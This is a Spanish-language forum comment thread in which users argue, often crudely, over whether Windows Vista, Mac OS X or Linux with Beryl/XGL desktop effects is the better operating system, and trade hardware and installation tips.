ps mira we (Perci) la neta yo me acavo de meter aun grupo de programadores linux y ps esta pro esma madre aparte que lo que mas me interesa es que jale el lenguaje java que es el que usamos para programar en cuanto alos programas nosotros tenemos una gran gama de progamas para linux chingosisimos videojuegos para linux y corremos a aplicaciones de windos en linux que mas puedo pedir aparte todo lo que ya viste ene le video de linux y no necesitamos gastar mucho dinero yo estoy agusto con linux...

no, como dices que Perci solo cree que sabe algo, si dice que tiene un certificado en PowerPoint, si tiene eso tiene que saber mucho de informática......JAJAJAAJAJAAJA

Yo acabo de instalar mac osx en mi maquina y la cosa corre como los dioses, les dio algunas caracteristicas para tengan como guia, procesador amd athlon 64 bit 3200, 512 ram 3200 200mhz, tarjeta nvidia FX5200 128 mb. y corre incrible el X de mac, ahora lo que pretendo es tener a travez de parallels Mac os X - Windows - Linux y trabajar en los tres sistemas manteniendo siempre la misma configuracion de hardware. Si tuviera que realizar algun cambio lo harí­a en la Ram porque mi placa soporta hasta 400 mhz de Ram y solamente la trabajo en 200mhz. Creo que con ese cambio lograria hacer las mismas tonterias que realiza el infeliz que hace la demostracion de Linux porque igual hay que tener maquina para gestionar 3 SO.

No creo que se hizo justicia cuando se hizo los videos de los sistemas operativos, es verdad el Linux es impresionante, pero hubiera sido "mas parejo" si hubieran usado el Windows Vista con el Dreamscene activado, actualmente tengo la version de Windows Vista Ultimate 64 Bits con Aero y Dreamscene, me corre muy fluido en un Dual Core 3.4Ghz 2x2048 cache, 2 Gb Ram Corsair DDR2 667, Video Geforce 6800 256 Ram, pero sin duda después de ver los videos voy a probar con Ubunto con XGL, para obtener mi propio criterio

hola a todos, tengo varias dudas acerca de el funcionamiento de estos OS. tengo una laptop y quisiera saber si puedo instalar xp y linux juntos, osea, los dos Sistemas Operativos en el mismo equipo. en realidad ya he manejado linux en la universidad y es lo mejor! pero en casa la mayoria de mis familiares trabajan con windows, y algunos utilizan esta laptop. la pregunta es: que tanto hardware necesito para q trabajen "normal"?

las especificaciones de la laptop son:

http://www.cantv.com.ve/seccion.asp?pid=1&sid=1424

quiero intalar el win xp normal y el linux del video (ubuntu + xgl/compiz si no me

equivoco en lo que leí­)

disculpen si molesto mucho pero en verdad no se mucho del tema, les agradeceria

enormemente la ayuda! gracias : )

No manches Perci, sacaste certificado en word y ni si kiera sabes escribir certificado, jajajajajaja SERTIFICADO jajaja! Me das pena la vdd como presumes tanto y ni escribir sabes. Y por si no lo sabias, en este momento, Linux y Mac OSX tienen mas o menos el mismo numero de usuarios a nivel mundial! Es mas o menos, obvio no es un dato exacto.

SERTIFICADO!! JAJA ME DAS RISA PERCI, UN FRIEGO xD

Larga vida al barcelona y larga vida a linux..............

Hola, en las opiniones de compatibilidad no estoy de acuerdo, el único que tiene el 100% de compatibilidad es mac, ya que ahora permite instalar cualquier SO de forma nativa. un pc normal no permite instalar mac os (legalmente) asique ya no tiene el 100& de la compatibilidad

Saben una cosa que de los tres el mejor es Microsoft Windows Vista por que, por que Linux es un Sistema operativo copion se copio de Windows y de Mac Os para su interfase a si que no comentan el erro de cambiarse a Linux quedense con Microsoft Windows Vista o MacOs que son los mejores sistemas operativos y los principales Diga no a Linux Linux al caajoooo.

Kisieras Radames, vista es un buen SO pero no es mejor kl Linux! Linux no le ha copiado nada a Windows! En fin, cada kien tiene sus preferencias... Aaa por cierto los ingenieros de audio y video k creen k solo pueden usar Mac, va a salir Ubuntu Studio, k es especialmente destinada para ellos, es muy profesional ese sistema.

Sabran si se ponen a estudiar los dos sistemas operatovos como lo he hecho yo veran que Linux ha copiado consas de windows y de Mac Os como por ejemplo las ventanas que contiene los botones de X Close Maximise, Restore y Minimise son de Windows para que sepan, Milagro que no hallan copiado el Flip 3D de Windows Vista seria el colmo, ha y otra cosa los efecto 3d del cubo es copiado de Mac OS entre muchas cosas mas, tambien el la función del Alt + Tab es de Windows, mi conclución es que Linux no es un sistema operativo de ideas propias simplemente es una copia un clon de MacOs y Windows. Y si Linux es el mejor por que la mayoria de los usuarios usan Windows o Macos hay una respesta para eso es que son los mejores sistemas operativos del mundo, y por que creen que Windows es atacado de vez en cuando por virus por que porque la gente qus son fanatica de Linux crean estos virurs para destruir a Windows pero saben que Linux Jamas le va a pasar a MacOS ni a Windows. Linux es una porqueria es un software piratiado. Espero una contestación gracias...

miren estoy pensando en ponerme el linux con el windows vista para aprendery solo kiero saber una cosacon el linux se puede escuchar musica y jugar a algun juego de pc?

Espero vuestra respuesta gracias =)

a i una cosa se perfectamente k el linux no esta echo para jugar no me lo kiero instalar por eso solo es por sabes

Gracias de nuevo=)

kiero decir k solo es por saber

Radames: Aunk digas k linux copia todo, en realidad cada SO, dispone de sus propias innovaciones. Talvez el cubo XGL esta copiado de Mac, pero en Mac solo sirve para cambiar de usuarios y en linux es para tener multiples escritorios, esa es la diferencia, y k dices de Beryl? No hay nada k se le parezca y eso es idea de usuarios de Linux, no de mac ni windows. Cuando uses bien Linux kn el XGL y Beryl veras k es realmente bueno. Linux esta hecho para k el usuario lo altere y personalize a su gusto total!... Y ps si lo de minimizar, maximizar y cerrar lo invento windows, eso k? Todos lo usan, es esencial, no creo k los de Microsoft se kejen por k les copiaron eso. Asi es esto, Windows le copia cosas a Mac y Linux, Linux tmb kopia algunas cosas de Windows y Mac, y Mac a veces tmb agarra algunas cosas de Linux y Windows! Todos lo hacen, solo k en diferentes proporciones, pero todos lo hacen! Mira al principio ps Linux y Mac sacaron cosas de Windows, sta bien, pero ahora, mira Windows Vista, no es un mal SO, pero tiene muchas cosas de Mac y Linux! Las innovaciones de Windows Vista ya se pueden hacer en Linux y Mac!

Ademas k SO usas tu? Eres fan de Mac vdd?

Yo Tengo Fedora 6, Dream linux, GentOS, Ubunto y Suse, He Usado los 3 sistemas

windows es muy defectuoso! se cae siempre, Mac OSx es una maravilla las herramientas a nivel de usuario exelentes y un entorno grafico pero hermoso y muy bueno. Pero Linux es lo mejor Su entorno grafico es esquisito y las herramientas a nivel de todo tipo de usuarios

la evolucion de linux es mucho mas rapido q la de el famoso windows y el entrono grafico de Dreamlinux es basado en mac

lo pueden bajar de aqui

http://www.dreamlinux.com.br

es gratis y hay una version multilenguaje

RR: Parece que no has estudiado muy bien a windows y no me has contestado la pregunta. ¿ Por que Windows es el Sistema operativo mas usado en el mundo?, sabes ley una noticia de Microsoft diciendo que Linux es un clon de Unix. Sabes que Linux no es no es mas estable que Windows ya que puedo decir que he podido colgar a un Linux 7.x una PostGRESQL 7.0, por el sólo hecho de navegar un sitio local con el Mozilla (el navegador de Linux, equivalente al Internet Explorer).

Ha y otra cosa SUSE Linux no puede navegar por internet por coneciones de Dial Up,sabes que lo unico que tiene Linux bueno son los efectos 3d que es lo unico que a las personas le llaman la atención pero si el proximo sistema operativo de Windows Codec Name Vienna será mas poderoso en efectos 3d y sabras que windows por siempre triunfara. Ademas los iconos de LInux son oribles no son tan graficos como los de Windows Vista. RR utiliza mejor windows estudialo con mas frecuencia y veras las inovaciónes que tiene. Recuerda Copiando lo mejor de los sistemas operativos asi cualquiera... Espero una respuesta.

Windows Vista no ha copiado nada de Linux de Mac tal ves pero recuerden Windows es el mejor sistema operativo. Por que windows es el mas usado

por favor escribamen una respuesta

Ok Radames entiendo eso, pero igual Linux es un buen sistema operativo, todos tienen sus cuelgues. pero Linux es bueno. El Windows vista es muy bueno, a mi me gusta y todo, pero lo k si me choca la vdd son los requerimentos para ejecutarlo optimamente. Y ps Windows es el mas usado, es buen sistema, si tiene muchos virus y cosas asi, es pork los hackers buscan mayor difusion de sus virus, pero es bueno! Pero los tres, Windows Linux y Mac, son buenos SO, todos son muy diferentes pero los 3 son muy buenos. En fin kada usuario le saca al maximo al SO k le guste! Yo uso Windows y ya stoy x cambiarme a Kubuntu Linux!, me gusta mucho, es k me gusta personalizar y Linux es muy personalizable! En fin yo feliz kn mi Linux, tu con Windows Vista y cada kien kn el suyo!

RR: Muy bien RR me alegro que hayas entendido en cierta forma Linux es bueno pero tiene que mejorar en muchos aspectos como windows, recuerda si Windows Vista requiere 512MB o Mas es para que se desempeñe mejor como sistema. Esta es la epoca de cambios para las computadoras que tu prefieres tener 256MB de Memoria o 1024MB (0.99GB). Recuerda en un futuro talves Windows cambie y se desempeñe mucho mejor. No te recomiendo que te cambies a Linux recuerda que la mayoria de los Porgramas de Computadoras esta diseñados para windows o Mac0s poco son los programas que son compatibles con Linux.

que tengas un buen dia colega

Gonzalo: Windows talves sea defectuoso pero tienes que reconocer que Linux tambien falla. Prueba el nuevo sistema operativo Windows Vista y te daras cuenta lo bueno de Linux es que es gratis y nada mas. Tambien la mayoria de los programas estan diseñado para el mejor sistema operativo utilizado por todo el mundo

Recuerda Prueba Windows Vista y veras que no se cae...

Radames stoy de acuerdo contigo pero al final, se t fue un pokito en decir k hay pocos programas para Linux, cheka esta lista:

http://www.linuxrsp.ru/win-lin-soft/index-spanish.html

Los diseñadores gráficos, tmb pueden probar en Linux:

http://diseno.ciberaula.com/articulo/diseno_linux/

Aparte va a ver una distro llamada Ubuntu Studio especialmente para aficionados y profesionales de audio y video. Sale en abril

Radames: Eres un gran conocedor y t admiro, pero debes saber k si hay muchisimas apliaciones para Linux, yo buske mucho, en serio, y encontre, por eso t digo k voy a cambiar a Linux, y tngo mi base para buscar programas ekivalentes, = tngo otra compu kn Windows asi k no hay problema! Satisfaciendo necesidades de cada lado:

Linux: Sentirme a gusto con todo configurado y personalizado a mi gusto

Windows: Tareas de siempre, lo de siempre.

Tienes razon en algo: Windows es un buen SO, si tiene tantos virus es por su fama, es bueno, todos se kejan de k es tosco y todo, pero aun asi todos tienen Windows! Ademas yo casi no tngo problemas kn el Win! Manteniendolo al dia no hay muchos problemas! :D

Que copias las de linux!!!!! vieron en el video de linux el exposé de Apple y el alt-tab de windows?!!

COMO ODTENGO TOTALMENTE GRATIS Y QUE PUEDA MANIPULARLO EN MI CP EL PROGRAMA LINUX

Dan, lo del expose si es copiado y todo, pero el alt-tab todos los SO los usan, = mac, todos lo usaaan! Pero debes admitir k los efectos de Compiz y Beryl son muy buenos!

viva linux, k l dn por kulo a guillermito puertas

yo usaba un windows y ahora uso un mac....no se puede comparar sin duda el mac lo supuera.

Mira Yokoros en verdad Mac puede Superar a Windows pero Windows es mas facil de usar y haora con Windows Vista es mejor compara...

Copias las de linux? y las de Microi$oft? Linux = Libre, o sea que cualquiera puede modificarlo ysi no te gusta el alt-tab lo borras y si quieres ponerle los iconos del Xp se los pones, porque es libre y puededs modificar lo que se tre cante y es garatis y es de todos y no lo venden, o sea que no es el robo que vive haciendo Billi,

VIVA LINUX!!!!!!!!!!!!!!!!

RADAMESS!!!! CUANTO TE PAGO BILIII????????

PROBA LINUX!!!! DOMINADO!!!!!!

WINDOWSEROS IGNORANTESSS!!!! NO HAY EXCUSA, HAY QUE PROBAR LINUX!!!! ES GRATIS!!! HASTA CUANDO LE VAMOS A SEGUIR LLENANDO LOS BOLSILLOS AL TIPO MAS RICO DEL MUNDO!!!! ABRAN LOS OJOS!!!!!!!

Recibi una noticia en el periodico de Puerto Rico, Windows Vista ha vendido mas de 20,000,000 de copias en lo que va de meses, tiene el doble que windows xp

yaaa Windows Vista ha superado es mejor que Linux y MacOs

Pregunta

Microsoft Office es compatible con Linux????????

mi respuesta es nooo

cual es la tuya??

Pues la verdad, yo prefiero una Mac OS X, primero que nada por su estabilidad y rendimiento, por otra porque ya le puedes instalar windows sin nungun problema (con la nueva herramienta de Mac OS X "boot camp") así­ que ya no se extrañará a windows (que es el que he usado por mucho tiempo) ¡Esto es una razón mas para probar nuevos caminos!

Linux también me parece una excelente opción, aunque no he tenido el gusto de usarlo; ¡¡¡Fuera al capitalismo de Bill Gates!!!

Esta nueva herramienta es una buena oportunidad de ampliar mercado para Apple.

Recordemos que en lo que se puede "admirar" y mucho a Bill Gates es en sus estrategias de mercado, ya que informaticamente hablando deja mucho que desear; o es que sabe que le va bien en el mercado y por eso se tira de ¡¡¡huevón!!! y no presenta un producto confiable ¿¿¿Vender productos con muchos errores será una estrategia de mercado???No lo sé.

Pero esta idea de Apple de permitir a los usuarios de windows cambiarse a Mac (recuerden que no he usado linux, así­ que me abstengo de opinar sobre el) es excelente para permitirle a la gente "normal" usar Mac OS X sin tener que dejar por siempre al SISTEMA OPERATIVO MAS USADO (por razones de marketing) del mundo

¡Gracias por permitirme participar en este foro!

jajaja Excelente pero lo que pasa es windows vista es un mierda no es compatible con ni puta madre... xD si kieres un diseño chingon usa windows mac o linux pero si kieres facilidad usa windows xp por que linux no es para novatos entiendannnn no es para hgnete comun..

Saludos!!!!

Mira PaNa Windows Vista salio recientemente al mercado so los programas de software se tienen que adaptar al nuevo y maravilloso windows Vista

No hables sin saber

y Usalo

Respecto a los supuestos errores que dicen tener Windows Vista. Yo he tenido la oportunidad de manejarlo. Y he borrado y movido archivos sin tener problemas (tener dificultad para mover y borrar archivos es ya uno de los primeros bugs reportados por usuarios, en lo personal no me pasó en el tiempo que lo estuve usando), en los gráficos si mejoró mucho comparado con Windows xp (comparado con win xp solamente). Una cosa que si no me gusto es que te traga 11 Gb de Disco Duro de un jalón solo por tenerlo instalado y sus actualizaciones también te tragan mucha memoria de disco duro, afortunadamente los nuevos equipos de escritorio ya tienen de 250 a 400 Gb de Disco Duro, en las portátiles los disco duros con mas espacio que he encontrado traen hasta 160 Gb de disco duro, en este caso la tragasón de 11Gb no es tan notorio; pero para aquellos que buscarán actualizarse desde win xp a vista si tendrán que invertir en hardware para que su nuevo Vista funcione de maravilla.

Respecto al comentario de PaNa, Windows Vista trae la herramienta de "Asistente para compatibilidad de Programas" esta herramienta la tiene win XP yo la usé en él para correr programas hechos para Windows 98 en mi XP y funcinaban como si fueran hechos para XP (La mayoria eran juegos 3D), y de esta manera tambien viene en Windows Vista (revisa el sitio de microsoft y busca "Compatibilidad de Programas en Vista") Allí­ viene descrita esa herramiente que ya vení­a en XP (no se si también la tení­an versiones anterires a XP, pues no las usé) De esta manera Windows Vista sigue siendo compatible con cualquier programa que se usa en XP, pues yo usé programas hechos para 98 que despúes de correrlos bajo la tutoria de esta herramienta funcionaban como si fueran para XP.

windows vista medejo boca abierto pero linux me mando a operar la quijada es lo mejor y utliza poca memoria

Hola de nuevo, me gustarí­a saber el problema que tienen los modelos de Linux y el por qué algunos ya son comerciales y otros siguen libres, además quisiera saber cuál de los modelos de Linux es mas confiable?.

Yo ya por lo menos conozco Suse, pero sus programas a pesar de ser impactantes, son complicadas, es por eso que me cambié a Mac Os X Tiger en una iBook G4.

Y por último ¿qué conocimietos tienen a cerca del BeOs?

Gracias...

Este sistema puede correr sin una tarjeta Grafica, sino con una tarjeta integrada de video???

Linux no hay palabras para describirlo solo digo que es mejor que el Window es de ....................ya ustedes saben

LA VERDAD LINUX ME DEJO IMPRESIONADO PERO NO PUDE VER LA PRESENTACION DE MAC PERO NOTO QUE NO ES IMPORTANTE PORQ LO CANCELARON BUENO LINUX ESTA CHIDO ADEMAS COMO COMENTABA ALGUIEN QUE DE SU CAPACIDAD Y QUE SU MEMORIA RAM QUE SOLO NECESITA UNA MISERIA DE MEMORIA Y QUE LA CHINGADA PUES LO CHIDO ES QUE LINUX DEJA IMPACTADO AUNQ EN SU PRESENTACION HUBO COSAS CURSIS PERO ESTA CHIDO LA VERDAD LO QUE IMPORTA ES QUE SATISFACE LA COMODIDAD DE EL PUBLICO YA QUE NO ES ABURRIDO MANEJARLA LE PONGO UN 8 PORQ KIERO QUE SUBA DE NIVEL ESQ ESTA CHIDISIMO

yo uso beryl y es la mmada... muerte a aeroo!!

MUY BUENO LO DE LINUX, ME DEJO CON LA BOCA ABIERTA ... AHORA ESTABA PENSANDO EN PONER LINUX EN MI OTRA MAQUINA PARA VER Y COMPARAR YO MISMO LA EFICIENCIA DE ESTE S.O. , PERO LA VERDAD ME QUEDO CON LINUX A OJOS CERRADOS.

La verdad Windows Vista es como el hijo del Leopard con respecto a las funciones que contiene a pese de las referencias que tiene con el Tiger, pero la verdad me gusta y tiene todas las funciones necesarias ara trabajar, en cambio linux es el hermano emnor.

ke haria mac sin el kernel de linux???

nadie lo sabra...nadie lo sabra

>>ke haria mac sin el kernel de linux???

busca en wikipedia en que sistema BSD se basa OSX.

(bsd es un fork de linux, quita quita y no da nada)

es hora de que un nuevo sistema operativo llegue y linux es sencillamente lo mas sobrenatural que e visto en realidad se sale de lo que se ve común mente se los dice un fiel y feliz operador de mac os x

Yo uso debian etch con aiglx/beryl y logra mejores efectos y mas cosas de las que muestra el video, Linux supera a windows y mac os x juntos. Ademas tiene aprox 18000 programas de todo un poco. Conclusion, linux es un sistema ROBUSTO,CONFIABLE, se puede hacer de todo y ademas BONITO.

Exacto Kevin, Linux es un sistema fuerte, y el unico k le da pelea es el OS X, y exacto, tiene 18000 programas y muchos massss!!! Solo es cosa de buscarlo, y ademas la ventaja esa de k se puede hacer de todo, es muy buena, ya k cada kien le hace lo k kiere al linux, cosas k no puedes hacer ni kn windows ni kn mac... asi k

VIVA EL SOFTWARE LIBRE!!!! VIVA LINUXX!!!

¿Para qué diablos se necesita de tantos adornitos y ventanas gelatinosas? Todo eso no me parece productivo y más que útil distrae demasiado. Windows Vista tiene una interfaz más limpia y cuidada, no necesita de tantas cosas para funcionar bien.

Ufffff, me ha dejado super impresionado el nuevo sistema operayivo de Linux, ¿es real?, si es asi dejenme decirles que me encuentro impresionado en la forma como el hombre ha roto los limites de la ciencia, la verdad que si....

ni siquiera es nuevo lo unico que se ocupa es aceleracion 3d Nvidia o ATi, y le pateas el culo a cualquiera que diga que linux es solo para "frikis". SOLO SABEN Dar click y ctrl + alt +supr.

La verdad yo instale Vista en un AMD XP 1700+, 512Mb de RAM y ATI Radeon algo viejita, y para que lo hice, todo a la mier... sobre todo el rendimiento. Tuve que volver al XP. Sin embargo tengo Slackware 11 con lo ultimo incluido beryl, y cada dí­a siento que mi computador rejuvence. No se porque dicen Vista = practico y ordenado, cuidado y amplio, para que para las ultimas máquinas del mercado.

Exacto, ahora en estos años todo esta cambiando. M$ se unio con Novell.... Novell le esta convirtiendo los programas a soft libre (vea Race2Linux o Do it with Mono, proyectos creados por Novell para pasar programas privativos a multiplataforma con MONO).... jajajaja que verguenza para m$ terminar asi.... ademas humillado por Novell.... Y ademas Linux quedando a la cabeza con mac os haciendole competencia.... pero no le llega ni a los pies... ya que linux tiene demasiado soft disponible en sus distribuciones o por la web. Sin duda para todos, amigos linuxeros, estamos muy cerca del triunfo, Sabemos que vamos a poder superar cualquier objetivo o superar a cualquier empresa, como M$ con su Vista.

VIVA LINUX Y EL SOFTWARE LIBRE!!!!!! HOOAH!!! (lol --> (recuerdan Americas Army??, un juego espectacular disponible para linux??)

VISTA EXISTEEEEEEEEEEE JODER!! un servidor tiene windows vista y es la hostia, vamos hombre!!! tanto criticar!!!

VISTA EXISTEEEEEEEEEEE JODER!! un servidor tiene windows vista y es la hostia, vamos hombre!!! tanto criticar!!! --> lol, vista existe pero es un agujero de seguridad con pies.

que arrecho es linux yo he probado la fewsi faw 7.04 y es muy arrecho con beryl corre por las nubes pruebenlo actualmente tengo vista porque soy desarrollador de sistemas pero windows ni le llega aesa maravilla a y busquen en google ubuntu ultimate yo lo probe y es muy bueno saludo!!!!! XD

La verdad alguien por ahi arriba dijo que Mac OS X es lejos el mas estable...

Concuerdo con el .... a linux todaví­a le falta mucho madurar, eso es sólo una interface gráfica, pero por ej , ayer le configuré todo Ubuntu 7.04 a un amigo y para instalar los drivers de la webcam tuvimos que reprogramar parte de los encabezados del paquete que habí­a que compilar en consola. Si yo no supiese programar en C no los hubiesemos podido instalar ni ahi.

Linux todaví­a es complicado para el usuario normal, y Mac OS X soporta grandes aplicaciones a nivel nativo , como photoshop, protools, Logic 7 , Final Cut Studio 2... cosas que linux no puede hacer lamentablemente.

Lo otro es que el manejo de memoria de mac os x es MUY bueno, recuerden que corre sobre una plataforma "Darwin" derivada del BSD ( berkley software distribution ) que también es directamente derivada de UNIX.

En fin, creo que Mac OS X es el que mas me gusta ( y ojo que estudio informática y me ENCANTA linux también ). Mac os X tiene muy buenos efectos también, pero yo uso un sistema operativo por su funcionabilidad en general, no me cambio por que pueda poner un cubo en mi escritorio ( aun que mac os x también puede hacer algo muy parecido para pasar de un escritorio a otro ).

Lo otro es que el LeoPard va a traer "Core Animation " para que los desarrolladores podamos incorporarlo también a nuestras aplicaciones... y si no saben lo que es , pues busquenlo en youtube.... es algo bastante espectacular.

Les dejo un saludo a todos!

tengo una maquina super potente que cualquier sistema operativo camina en ella en realidad es un animal es la msi 975x con 8 gb de ran dos disco sata de 400 esntre los do y dos targetas de video gitfor de 512 cada una osea el vista core como si fuera el wind 98 y e montado algunos linux y mejor pero no se como diablos baja ese tal ubuntu con beryl ocualquiera de sus sisitemas operativo de sofware libre que tengan esoso super efectos porfa contesten en esta pagina

hola yo soy nuevo en esto pero indiscutiblemente quiero instalar linux ubuntu+beryl pero no se si mi maquina soporte, esto es lo que tengo:

p4 2ghz

512 ram

32 de video

ustedes que opinan? si puedo?

Si, claro que si. Pero tienes que decir que tarjeta de video tienes:

- ATI?

- NVIDIA?

Si tienes una NVIDIA segurisimo que puedes. Con ATI no se.... :S

Podes usar Debian Etch con el repositorio de Beryl o Ubuntu. No se si SUSE o Fedora tienen tambien integrado el Beryl...

Debian --> www.debian.org (ETCH, version estable)

Beryl --> www.beryl.org (repositorio para debian etch)

NVIDIA --> www.nvidia.com (DRIVERS para linux)

el link de Beryl es este, no es beryl.org:

www.beryl-project.org

a linux todaví­a le falta mucho madurar, eso es sólo una interface gráfica, pero por ej , ayer le configuré todo Ubuntu 7.04 a un amigo y para instalar los drivers de la webcam tuvimos que reprogramar parte de los encabezados del paquete que habí­a que compilar en consola. Si yo no supiese programar en C no los hubiesemos podido instalar ni ahi.

Linux todaví­a es complicado para el usuario normal, y Mac OS X soporta grandes aplicaciones a nivel nativo , como photoshop, protools, Logic 7 , Final Cut Studio 2... cosas que linux no puede hacer lamentablemente.

Linux no es complicado,linux es fíƒÆ’í†â€™íƒâ€ší­Â cil,linux cuantas veces hemos de repetirlo poruè siempre la tonta cantinela.¿Que modelo de webcam has utilizado?...no me creo lo que has dicho.Quizas lo que haya sucedido es tu amigo tenga un ordenador muy,muy,muy,muy rebuscado.PíƒÆ’í†â€™íƒâ€ší­Â sate por aquï de nuevo y deja las especificaciones tècnicas para què podamos saber què es lo que cocurrio.verdades a medias siempre son mentira.

No heches la culpa a linux cuando Mac estíƒÆ’í†â€™íƒâ€ší­Â  basado en el mismo linux(unix)...creo que estas meando fuera del tiesto.

LOS SISTEMAS LINUX (UBUNTU, VECTOR, MANDRIVA, ETC.) SON LOS MAS CONFIGURABLES Y PERSONALIZABLES, PUEDEN CORRER EN MUCHAS PLATAFORMAS, (X86, SPARC, Y OTRAS QUE NI SE IMAGINAN) HAY DISTROS DISEÑADAS PARA PCS CON POCA POTENCIA (VECTOR LINUX, DAMN SAMALL LINUX, ETC) Y DISTROS DISEÑADAS PARA COMPUS NUEVAS (UBUNTU, FEDORA, MANDRIVA, UTUTO, ETC), EL HECHO DE QUE HAYA MUCHAS, NO ES UN OBSTACULO, AL CONTRARIO ES BUENO POR QUE EL USUARIO, CONSULTANDO EN GOOGLE, PUEDE HACER UNAS COMPARACION, Y DECIDIRSE POR LA QUE MAS LE CONVENGA, TOMANDO EN CUENTA EL TIPO DE MAQUINA QUE TENGA, Y EL SOFTWARE QUE NECESITE (TODAS LAS DISTROS VIENEN CON LO BASICO: SUITE DE OFICINA, NAVEGADORES WEB, QUEMADORES DE CD/DVD Y REPRODUCTROES MULTIMEDIA, MAS ALGUNOS AGREGADOS DEPENDIENDO DE LA DISTRIBUCION), LA APARIENCIA GRAFICA DE NUESTRO LINUX DEPENDE DEL ENTORNO DE ESCRITORIO QUE TENGAMOS INSTALADO, Y DEL GESTOR DE VENTANAS, ESTOS VAN DESDE MUY LIGEROS, MUY SENCILLOS Y SOBRIOS, PARECIDOS A MAC (CON TODO Y SUS BARRITAS DE ICONOS) PARECIDOS A WINDOWS, NO PARECIDOS A NINGUNO DE LOS DOS, HASTA EFECTOS ALUCINANTES COMO EL GESTOR DE VENTANS BERYL, QUE CONVIERTE TU ESCRITORIO EN TODA UNA EXPERIENCIA 3D, (ESTO PARA MI MUY PRACTICO YA QUE ME PERMITE CAMBIAR DE ESPACIOS DE TRABAJO FACIL Y RAPIDAMENTE, ). EN CUANTO A LOS PERIFERICOS SOPORTADOS POR LINUX, EL 90 POR CIENTO LO ESTA, LAS DISTROS YA INCLUYEN MUCHOS DRIVES, POR EJ YO SIEMPRE HE USADO HP, LAS IMPRESORAS Y MULTIFUNCIONALES DE ESTA MARCA LAS RECONOCE Y LAS INSTALA SIN NECESIDAD DE INTRODUCIR NINGUN CD. ES CIERTO EXISTEN ALGUNOS PRODUCTOS NO SOPORTADOS, ESTO POR CULPA DE LOS FABRICANTES QUE HAN HECHO PACTO CON MOCOSOFT,

PARA OCULTAR LAS ESPECIFICACIONES TECNICAS DE SUS PRODUCTOS, Y LOS DESARROLLADORES LIBRES NO PUEDAN PROGRAMAR LOS DRIVES, ENTONCES ANTES DE COMPRAR ALGO, POR EJ UN SCANER, ES CONVENIENTE CONSULTAR EN GOOGLE LAS MARCAS Y MODELOS SOPORTADOS POR LINUX (QUE SON BASTANTES) Y ELEGIR UNO SOPORTADO. VALE LA PENA TOMARSE ESA PEQUEÑA MOLESTIA, YA QUE UN SISTEMA OPERATIVO A PRUEBA DE VIRUS Y SPYWIRE, ESTABLE, Y LIBRE, LE PERDONO QUE NO RECONOZCA 2 O 3 DE CADA 10 SCANERS, Y NO POR CULPA DE EL, SINO DE LOS FABRICANTES MUGROSOS Y CODICIOSOS.

AHORA BIEN, SI QUIERES USAR LOS PROGRAMAS NATIVOS DE WINDOWS, LOS PUEDES EJECUTAR CON EL WINE (LIBRE GRATUITO), O MAS FACILMENTE CON EL CROSS OVER OFFICE (PROPIETARIO, CUESTA 50 DOLARES), UN PROGRAMA QUE TE PERMITE INSTALAR MICROSFT OFICE, PHOTOSHOP, DREAMWEVER, ETC., EN TU LINUX. AUNQUE RECOMIENDO QUE CHEQUEN PRIMERO LAS ALTERNATIVAS LIBRES COMO OPEN OFICE Y ABIWORD, COMPATIBLE CON MOFICE O EL GIMP, TAN POTENTE COMO PHOTOSHOP Y COMPATIBLE CON ESTE, ADEMAS HAY EDITOR WEB, PROGRAMAS PARA DISEÑO 3D ETC.

EN CUANTO A JUEGOS, HAY BASTANTES JUEGOS LIBRES QUE CORREN NATIVOS EN LINUX, COMO TORCS (CARRERAS) O VEGASTRKE (SIMULADOR ESPACIAL) TAMBIEN HAY EMULADORES DE CONSOLA Y MAQUINITAS, HAY PROGRAMAS COMERCIALES QUE TIENEN SU VERSION DE LINUX (QUAKE, MEDALLA DE HONOR Y OTROS) Y TAMBIEN PUEDES INSTALAR PROGRAMAS DE WINDWS COMO LOS FIFA LOS MADEN NEED FOR SPEED , POR MEDIO DE UN PROGRAMA LLAMADO CEDEGA (50 DOLARES). POR ULTIMO QUERO DECIR QUE USO LINUX DESDE HACE ALGUN TIEMPO, NO REGRESO A WINDOWS POR NADA DEL MUNDO (ME HARTE DE DESFRAGMENTAR, ANTIVIRUS, Y DEMAS TONTERIAS QUE EN LINUX NO EXISTEN), REPARO Y VENDO PCS CON LINUX, Y TENGO MUCHOS CLIENTES QUE QUEDAN CONTENTOS CON SU PC FUNCIONANDO CON LINUX. LES RECOMIENDO USAR UBUNTU, BAJENLO DE UBUNTU.COM.

Por cierto, linux no es para frikis, eso es un mito, yo apendi consultando en google y no soy para nada friki, hago deporte, soy entrenador, hecho relajo con los amigos, estoy casado, me hecho unas cheves, soy bastante normal, no soy ing. soy bastante normal.

Por cierto acabo de consultar mi recibo de telmex desde mi Ubuntu Linux, usando el navegador web Epiphany (tambien se puede con Firefox) por ahi alguien dijo que no se podia, no se vale dar opiniones sin saber, mejor pregunten.

Por cierto creo que era un medico, que me diga donde consulta para no ir, no vaya a ser que si ocupo un transplante de corazon me ponga un riñon !Ja Ja Ja!

tengo problemas con la resolucion de mi ubuntu me dice que no se puede mostrar aun que ya logre instalarlo perdon por no decir que es mi tarjeta de video pero es que viene integrada a mi tarjeta madre solo se que es de 32 MB que hago?

Es cierto todo lo que dices, Luis. Una cosa para agregar en la parte juegos es que hay un juego parecido al call of duty, pero para linux llamado Americas Army, el link es http://www.americasarmy.com/. Funciona muy bien y tiene bonitos graficos. La jugabilidad es impresionante. Esto es para los que se quejan de que los juegos de Linux tienen "pocos graficos".

Al amigo que dice que instalo Ubuntu pero que no arrranca lo grafico, para poderlo ayudar necesito mas detalles, si te sale una ventana dende te pregunta si quieres ver la salida detallada de los errores, dale aceptar (nota, todo esta en ingles), apunta todo lo que salga, asi como cualquier mensaje de error, y escribeme a rodriguezcantu@gmial.com, y por mail te mando una posible solucion, el hecho de que tu targeta sea integrada no tiene nada que ver, posiblemente se trate de un error de instalacioon o que el drive de tu targeta grafica no se cargo, (es raro que pase), pero si es eso se soluciona facilmente.

Igual a todos los que tengan duda pueden escribirme por mail.

Linux, Windows Vista ja ja ja Mac X 10.4 es el mejor

Sin lugar a dudas investigar no cuestá, instalar malos systemas operativos como windows y linux te cuesta un mundo de ignorancia, Los Profesionales prefieren un sys estable con el mejor rendimiento en graficos y una arquitectura con el mejor nivel en rendimiento y estabilidad asi como hardware compatible y robusto

el mejor procesador y dispositivos etc... y una maquina que no se quede a medio camino porque la fuente ya no funciona o el hd ya no jala no!...

Mac x mucho Sres, no es soberbia solo es un buen consejo para crecer y desarrollarse enserio que maquina te maneja hd Hasta 3 TB de almacenamiento

